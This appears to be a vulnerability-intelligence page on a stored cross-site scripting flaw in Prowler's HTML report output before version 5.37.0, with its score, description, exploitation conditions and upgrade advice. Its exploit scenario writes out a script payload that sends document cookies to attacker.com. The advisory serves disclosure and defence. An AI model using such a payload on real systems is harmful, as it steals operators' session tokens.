Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Cloud tag-write IAM permission constitutes low privilege (PR:L); scope changes to the report viewer's browser context (S:C); no availability impact from stored XSS.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
3DescriptionCVE.org
Prowler is a cloud security platform. Prior to 5.37.0, Prowler's HTML output formatter in prowler/lib/outputs/html/html.py inserted finding.resource_tags, assembled by unroll_dict and parse_html_string, into generated reports without HTML escaping, allowing a cloud principal who can modify a scanned resource tag to store HTML or JavaScript that executes when another user opens the report. This issue is fixed in version 5.37.0.
AnalysisAI
Stored cross-site scripting in Prowler's HTML report formatter (all versions prior to 5.37.0) allows any cloud principal with resource tag-write permissions to inject arbitrary HTML or JavaScript that executes when a security operator opens the generated report. The flaw resides in prowler/lib/outputs/html/html.py, where resource tags assembled via unroll_dict and parse_html_string were interpolated into HTML table cells without HTML entity escaping. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Two specific conditions must both be satisfied: (1) the attacker must hold cloud IAM permissions to write or update resource tags on at least one resource included in the Prowler scan scope - for example, AWS tag:TagResources, an Azure Tag Contributor role assignment, or a GCP equivalent - and (2) a Prowler operator must generate a report using the HTML output format and open that report file in a browser (UI:R). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) scores 5.4 (Medium), accurately reflecting the stored-XSS pattern: low-privilege cloud access to write tags, a required user interaction to view the HTML report, and a scope change when the payload executes in the operator's browser. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding AWS IAM permissions sufficient to call tag:TagResources sets a resource tag value to a JavaScript payload such as <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> on any resource within Prowler's scan scope. When a security engineer next runs Prowler with HTML output enabled and opens the resulting report in a browser, the payload executes in the engineer's browser context, potentially exfiltrating session tokens or performing browser-side actions under the engineer's identity. … |
| Remediation | Upgrade to Prowler 5.37.0 or later, available at https://github.com/prowler-cloud/prowler/releases/tag/5.37.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Authenticated command injection in Prowler (Cloud/API) before 5.36.0 lets a low-privileged user with provider-management
Cross-tenant account takeover in Prowler (cloud security platform) before 5.30.3 lets an authenticated attacker who oper
Server-side request forgery in Prowler's Lighthouse AI provider configuration allows an authenticated high-privilege use
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-57222